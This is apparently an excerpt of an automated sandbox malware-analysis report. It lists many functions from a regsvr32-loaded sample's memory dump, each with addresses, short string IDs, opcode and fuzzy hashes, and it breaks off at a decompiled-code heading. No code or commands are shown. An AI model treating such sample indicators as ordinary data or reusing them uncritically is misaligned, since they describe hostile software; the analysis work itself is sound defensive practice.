                                                                                                        • API String ID: 0-1132523308
                                                                                                        • Opcode ID: ae7bdc4a587112e147e5b2a3243b893e39fbc15df474f35575e6fa18b4c94c95
                                                                                                        • Instruction ID: 130936b3a1aeb9170b14f5b157c22d929d8d8086d02fff4fa17247d575bb6421
                                                                                                        • Opcode Fuzzy Hash: ae7bdc4a587112e147e5b2a3243b893e39fbc15df474f35575e6fa18b4c94c95
                                                                                                        • Instruction Fuzzy Hash: FA417D756187818BC748DF28C49651ABBE1FBCD318F404B1DF4CAAA390D738D615CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02406BBC Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: S$I
                                                                                                        • API String ID: 0-1867731305
                                                                                                        • Opcode ID: 32172a71cdd53c04010e7db46c34b2391fcb9c8c55079647ba5e6080ca7cf13a
                                                                                                        • Instruction ID: 8ef85990b16b6ca42167cda4c81ce626a607c1ce93d42cef040e154f66563212
                                                                                                        • Opcode Fuzzy Hash: 32172a71cdd53c04010e7db46c34b2391fcb9c8c55079647ba5e6080ca7cf13a
                                                                                                        • Instruction Fuzzy Hash: 6B41A3B190078E8BCF48CF64C88A5DE7BB0FB58318F514A1DE866A6250D3B8D665CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02402480 Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: Hdu
                                                                                                        • API String ID: 0-1361338675
                                                                                                        • Opcode ID: 8418174d68346dc93b53a159629100360496aca53275fddac5ec063eda55d920
                                                                                                        • Instruction ID: eb375612fb3990d2bf87d8824d6929ffe6e22a8da355df9fab985aa8b1895c13
                                                                                                        • Opcode Fuzzy Hash: 8418174d68346dc93b53a159629100360496aca53275fddac5ec063eda55d920
                                                                                                        • Instruction Fuzzy Hash: F041C0B190038E8FDB49CF68C8864DE7BB0FB58348F514A1DE826A6250D3B8D665CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02426FBC Relevance: 1.3, Strings: 1, Instructions: 90COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: CN
                                                                                                        • API String ID: 0-62021918
                                                                                                        • Opcode ID: 23a310725a3df70173c73a2ae6f1cc22e1d33b382e02a61dd2a0f8d3d36414b2
                                                                                                        • Instruction ID: 942f4c16c476d15d726718e9cb499a8453e799269b68b9611c3cc42a25da44e4
                                                                                                        • Opcode Fuzzy Hash: 23a310725a3df70173c73a2ae6f1cc22e1d33b382e02a61dd2a0f8d3d36414b2
                                                                                                        • Instruction Fuzzy Hash: 1B41C3B090474A8FDB48CF64C88A4DE7FF0FB58398F60461DE955A6290D3B896A4CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242B6C0 Relevance: 1.3, Strings: 1, Instructions: 88COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: "s
                                                                                                        • API String ID: 0-795309145
                                                                                                        • Opcode ID: 00d03b7e999545c8c3361f1ec93b3a372536bec5028d9a6c277d6b0eb2e4d87a
                                                                                                        • Instruction ID: 63d81220a57df9d55c44fc5b41ece7c42e4c3c8896e30ef41bec3e0c27628105
                                                                                                        • Opcode Fuzzy Hash: 00d03b7e999545c8c3361f1ec93b3a372536bec5028d9a6c277d6b0eb2e4d87a
                                                                                                        • Instruction Fuzzy Hash: E831F27060DB44AFC388DF29C19551ABBE1FBC8754F90A92DF4868B364D3B4D8448B86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02412AA6 Relevance: 1.3, Strings: 1, Instructions: 76COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: R^
                                                                                                        • API String ID: 0-1166496218
                                                                                                        • Opcode ID: 4c0472051929f4179fcd3749e4dba23273f80cf56bcc8b8ea30a04f18c8ec929
                                                                                                        • Instruction ID: 9a3ea4a33fcc48115ca707ee86e6f36a5911dd27563ead4d3e2e913223dbff18
                                                                                                        • Opcode Fuzzy Hash: 4c0472051929f4179fcd3749e4dba23273f80cf56bcc8b8ea30a04f18c8ec929
                                                                                                        • Instruction Fuzzy Hash: D031E270505309CFEB2CCF28D49A5AD3BA9FB94304F50912DFC1A8A3A1D778E519DB45
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241EA38 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 6:
                                                                                                        • API String ID: 0-248076856
                                                                                                        • Opcode ID: 80dc5cfd91a5a14fec4bdf425f72fe5be6e6863b0eb59fa94e5cb292174cdeea
                                                                                                        • Instruction ID: 578dc2047f3c25a91c85f320a2c3e2ae53afb2d699ca949ce0158aae7f3df300
                                                                                                        • Opcode Fuzzy Hash: 80dc5cfd91a5a14fec4bdf425f72fe5be6e6863b0eb59fa94e5cb292174cdeea
                                                                                                        • Instruction Fuzzy Hash: 6E315EB0629781AFC398DF28D59581ABBF1FBC8350F806A1DF9868B360D774D845CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241298D Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: p(
                                                                                                        • API String ID: 0-2287756117
                                                                                                        • Opcode ID: 49612584e9600bdb9f0fbd13b302b505656996393ed1edda728fdfcfd856f938
                                                                                                        • Instruction ID: 308cd8b940924cde21bd93a421a81d6c9e88204ca35676aa5239d3a1c7b3261b
                                                                                                        • Opcode Fuzzy Hash: 49612584e9600bdb9f0fbd13b302b505656996393ed1edda728fdfcfd856f938
                                                                                                        • Instruction Fuzzy Hash: 7631007064070DCFEB18DF28D4966A93BA9FB45314F10902AEC1E8A2A1D7B8E409DB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242B55C Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: `1
                                                                                                        • API String ID: 0-1979349346
                                                                                                        • Opcode ID: 065529729a33f00b36b360d35f2701b1eb81a98eec8dc9fa451d82dad3f1da1a
                                                                                                        • Instruction ID: 835fb46cd5bda6b45a635ef6027d1a31cd4809e113629b06edcf2b3732ab54cc
                                                                                                        • Opcode Fuzzy Hash: 065529729a33f00b36b360d35f2701b1eb81a98eec8dc9fa451d82dad3f1da1a
                                                                                                        • Instruction Fuzzy Hash: 2A31E671508B848FE3B8DF29C48A25BBBF1FBD6748F20491DE69986260D775D848CF02
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024072CC Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 6
                                                                                                        • API String ID: 0-2151125690
                                                                                                        • Opcode ID: 7fe3ed133efa9a0ba5cb1c3694ca3d97fe187cf21d9ac889749d1bfcb8e9caee
                                                                                                        • Instruction ID: af5ce1e7cb70a0f0c6e2cb3b919d9070284543f518d0df3dc4f548b1f22c2ce7
                                                                                                        • Opcode Fuzzy Hash: 7fe3ed133efa9a0ba5cb1c3694ca3d97fe187cf21d9ac889749d1bfcb8e9caee
                                                                                                        • Instruction Fuzzy Hash: 2E31F47060C7848FD3B8CF28D18621BBBF1FBC6354F104A1EE18D86365D77698898B06
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02418F80 Relevance: 1.3, Strings: 1, Instructions: 68COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: =
                                                                                                        • API String ID: 0-1434461948
                                                                                                        • Opcode ID: 2b1f4a459de5aba130eb27628ce2268101d08787a09773dacfc334438580d329
                                                                                                        • Instruction ID: 018294480e85561e8cb6bb5835462ab386be00a2f9bf42848bfdfb7606dc8bc7
                                                                                                        • Opcode Fuzzy Hash: 2b1f4a459de5aba130eb27628ce2268101d08787a09773dacfc334438580d329
                                                                                                        • Instruction Fuzzy Hash: 4D21027191DB849BD388CF29D08550ABAE2BBC8748F905A2DF596863A4C7B4D805CF42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240A42C Relevance: 1.3, Strings: 1, Instructions: 65COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: `n
                                                                                                        • API String ID: 0-2385392903
                                                                                                        • Opcode ID: 03b57a95ae99d7d425e67b1db84c0092cd55ee49e1ae5d6403a7e20ef33337cd
                                                                                                        • Instruction ID: a2f6c1c510941c41a4d2e2185e1194d62d65ad94bb9abc1253785425fc7948cf
                                                                                                        • Opcode Fuzzy Hash: 03b57a95ae99d7d425e67b1db84c0092cd55ee49e1ae5d6403a7e20ef33337cd
                                                                                                        • Instruction Fuzzy Hash: F1316DB5528780AFD388DF28D18681BBBE0FB85344F806A2DF8968B254D779E445CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241CA34 Relevance: 1.3, Strings: 1, Instructions: 64COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: V'
                                                                                                        • API String ID: 0-137518406
                                                                                                        • Opcode ID: 8fd9c51effcce4a26ab8cafce62afda10854310fbb93ec3b1a9c6c4221c90e32
                                                                                                        • Instruction ID: d046de48942315145fdce12cd9fbd782670ae68db816c32d4fd0d082b22ef5ab
                                                                                                        • Opcode Fuzzy Hash: 8fd9c51effcce4a26ab8cafce62afda10854310fbb93ec3b1a9c6c4221c90e32
                                                                                                        • Instruction Fuzzy Hash: F921C2705587808BE768DF65C48565AFFE1FB84388F60892DE1EAC6270DBB4D089CF46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02404918 Relevance: 1.3, Strings: 1, Instructions: 64COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: eJ
                                                                                                        • API String ID: 0-3478791571
                                                                                                        • Opcode ID: 424770f0ab69cf8e4d9200ce07e1736e1adfa5f67a069199074105d5eb652cf6
                                                                                                        • Instruction ID: ee700035d16793debc86cc4f0f271cd23744e425c8962018fe529118255f904c
                                                                                                        • Opcode Fuzzy Hash: 424770f0ab69cf8e4d9200ce07e1736e1adfa5f67a069199074105d5eb652cf6
                                                                                                        • Instruction Fuzzy Hash: 723180B1929781AFD398CF29C48981BBBE1FB89314F806A1DF8C58B260D774D8058B42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240A31C Relevance: 1.3, Strings: 1, Instructions: 63COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: s
                                                                                                        • API String ID: 0-754793141
                                                                                                        • Opcode ID: 32758a097f1462c84824626ed1243ff0e27ef6e9b03286ca7ac8b9fd464dba95
                                                                                                        • Instruction ID: 9fc2509a3a8fe2046cc010bd753a86ea13399f328e8a6efdfd9e8d92fdbf9e78
                                                                                                        • Opcode Fuzzy Hash: 32758a097f1462c84824626ed1243ff0e27ef6e9b03286ca7ac8b9fd464dba95
                                                                                                        • Instruction Fuzzy Hash: FD21A4716087858BD748DF69C48A41AFBE1FB84388F504A2DF586863A0D3B4D48ACB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240E720 Relevance: 1.3, Strings: 1, Instructions: 63COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: M
                                                                                                        • API String ID: 0-4229583263
                                                                                                        • Opcode ID: fb0b9c8422c616795187f75499e974cce28ce72afcd2770d9faa1336b112253f
                                                                                                        • Instruction ID: ef1db275e924e955cf91c5ccc96559b5a815fa379fb2386ed453644ed4f7ea3e
                                                                                                        • Opcode Fuzzy Hash: fb0b9c8422c616795187f75499e974cce28ce72afcd2770d9faa1336b112253f
                                                                                                        • Instruction Fuzzy Hash: 77218AB15187848BD348DF28C48641ABBE4FB8D30DF944B1DF4CAA72A1D778D6068F4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241FBD8 Relevance: 1.3, Strings: 1, Instructions: 63COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: z7
                                                                                                        • API String ID: 0-750003852
                                                                                                        • Opcode ID: f84e01431fdc56c3612e9ef1bc266983120e39d017bc81bd0ba0a035b6c9604d
                                                                                                        • Instruction ID: 6602566d673a20e01946ec477c12328a60c197713727249666f70f100362554e
                                                                                                        • Opcode Fuzzy Hash: f84e01431fdc56c3612e9ef1bc266983120e39d017bc81bd0ba0a035b6c9604d
                                                                                                        • Instruction Fuzzy Hash: CD3149B55087808BD349DF28D45941EBBE0BB8C35CF414B2DF5CAAA290D778D644CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024043F4 Relevance: 1.3, Strings: 1, Instructions: 59COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X
                                                                                                        • API String ID: 0-1684620495
                                                                                                        • Opcode ID: 751b52ee53712364ec00b30ca921f807499f9a92559916298f362f71b9dd477b
                                                                                                        • Instruction ID: 226370ec8abc8eb9dbeaffdf0875e6708fba71ea38c33bd37963bb3348db4c5c
                                                                                                        • Opcode Fuzzy Hash: 751b52ee53712364ec00b30ca921f807499f9a92559916298f362f71b9dd477b
                                                                                                        • Instruction Fuzzy Hash: 7D219FB0629780AFD388DF28C49981ABBF0BBC8304F806A2DF89697350D775D445CB43
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241FD00 Relevance: 1.3, Strings: 1, Instructions: 59COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X
                                                                                                        • API String ID: 0-1684620495
                                                                                                        • Opcode ID: 5afa5fd615093f4ca8a90a9b75cca1933039d7063fb132342f4eb5c70c5ef633
                                                                                                        • Instruction ID: ff1666716b256b01a16029fe1d5b61d2f2e87ae30c29223ed1017db4d98a428d
                                                                                                        • Opcode Fuzzy Hash: 5afa5fd615093f4ca8a90a9b75cca1933039d7063fb132342f4eb5c70c5ef633
                                                                                                        • Instruction Fuzzy Hash: 1B213470219B44AFE3C8CF29C58991BBBE1FB84354F806A2DF486C6264C7B4C808CF02
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241DE2C Relevance: 1.3, Strings: 1, Instructions: 58COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ;
                                                                                                        • API String ID: 0-2788296473
                                                                                                        • Opcode ID: 9c460dc552ac0327e74e90af62f1a32ef681913d0ee74b02b5e56bb972b1652d
                                                                                                        • Instruction ID: 1e5ff60123010a495782f879a4f14655174b2e592117abab3cf109bd8d58cdc4
                                                                                                        • Opcode Fuzzy Hash: 9c460dc552ac0327e74e90af62f1a32ef681913d0ee74b02b5e56bb972b1652d
                                                                                                        • Instruction Fuzzy Hash: 64215BB55187848BD348DF28C49951ABBE1BB8C318F400B1DF4CAAB394D778DA44CF4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02407418 Relevance: 1.3, Strings: 1, Instructions: 58COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #G
                                                                                                        • API String ID: 0-1001985941
                                                                                                        • Opcode ID: 65327d5d9ba271751479b2ff89829fef9434d9f655ddc4921b691e55a9da74b4
                                                                                                        • Instruction ID: 9de7624a929059c2f123550dbaba20d50146b7241bde8b6eafbb50040ea1ff33
                                                                                                        • Opcode Fuzzy Hash: 65327d5d9ba271751479b2ff89829fef9434d9f655ddc4921b691e55a9da74b4
                                                                                                        • Instruction Fuzzy Hash: 412148B05187809FE389DF28D48941BBBE1BB8C348F404B1DF4C9AB251D378D6548F4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024116DC Relevance: 1.3, Strings: 1, Instructions: 55COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: f
                                                                                                        • API String ID: 0-1262132504
                                                                                                        • Opcode ID: 5e6288e2c1d7216769477ab51818b25734a7e104cb3b0e4a48242e7f282f3c5c
                                                                                                        • Instruction ID: 6168d231b9ed164f27b58094744b2c24ead7302a5a6f7b7f51aa6ac2cbfd5f41
                                                                                                        • Opcode Fuzzy Hash: 5e6288e2c1d7216769477ab51818b25734a7e104cb3b0e4a48242e7f282f3c5c
                                                                                                        • Instruction Fuzzy Hash: E32135B56187848BD388DF28C44941ABBE1BBDD31CF404B1DF4C9AB2A4D378D645CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240D704 Relevance: 1.3, Strings: 1, Instructions: 54COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: {Z
                                                                                                        • API String ID: 0-719170576
                                                                                                        • Opcode ID: a0d8881704ff39ef955a2bccda77be15dfd736f9dafb5f5dddc7dd2128b06ff5
                                                                                                        • Instruction ID: 1f85340b267caaf3d5cfe4df7e44c79698cdfcdd21950fa0e6fc7e88bafd7f4e
                                                                                                        • Opcode Fuzzy Hash: a0d8881704ff39ef955a2bccda77be15dfd736f9dafb5f5dddc7dd2128b06ff5
                                                                                                        • Instruction Fuzzy Hash: 7C216AB55187848FD388DF28C58951BBBE0BB8D308F404B5DF4DAAA261D378D654CB0A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240421C Relevance: 1.3, Strings: 1, Instructions: 53COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: M
                                                                                                        • API String ID: 0-3449489977
                                                                                                        • Opcode ID: 45821926b22f2bc4ff01c7f9608cefb4fc40b685c916f2761648b0d7a00a42de
                                                                                                        • Instruction ID: a7af852c08d843a800105f880a9911ca0971d46701a5cadb8ece9d12cd2aa513
                                                                                                        • Opcode Fuzzy Hash: 45821926b22f2bc4ff01c7f9608cefb4fc40b685c916f2761648b0d7a00a42de
                                                                                                        • Instruction Fuzzy Hash: A5215FB45187808BD348DF28C55A41BBBE1BB8C348F505B5DF4CAA62A0D7789605CB4B
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024117E0 Relevance: 1.3, Strings: 1, Instructions: 48COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 'Z
                                                                                                        • API String ID: 0-279058544
                                                                                                        • Opcode ID: c94e457454d5fd428373413fd6eb121665a7b6188ef2bb88a162f8f2b6d2d9e4
                                                                                                        • Instruction ID: b2816d6b6f8405d24226ae6e89e09d7e65a27a7acfb50484b0635f69c4637f55
                                                                                                        • Opcode Fuzzy Hash: c94e457454d5fd428373413fd6eb121665a7b6188ef2bb88a162f8f2b6d2d9e4
                                                                                                        • Instruction Fuzzy Hash: F6215AB45183848FD398DF28C54951BBBE0BB8C35CF804B1DB8CAA6260D778D6448F4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02415E70 Relevance: .4, Instructions: 384COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 8a27ce08eac6bb86909575d2e4e45c939a829e7d13f65b0f8274a21998e1e05d
                                                                                                        • Instruction ID: 30f74e05f01581b25bc3be042d392dd9e411b9675041f634f009e1c09fe302d8
                                                                                                        • Opcode Fuzzy Hash: 8a27ce08eac6bb86909575d2e4e45c939a829e7d13f65b0f8274a21998e1e05d
                                                                                                        • Instruction Fuzzy Hash: 56021EB560570DCBDB68CF28C48949E3BE1FF54318F21112DFC66962A2D3B4DA69CB84
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180048524 Relevance: .4, Instructions: 352COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
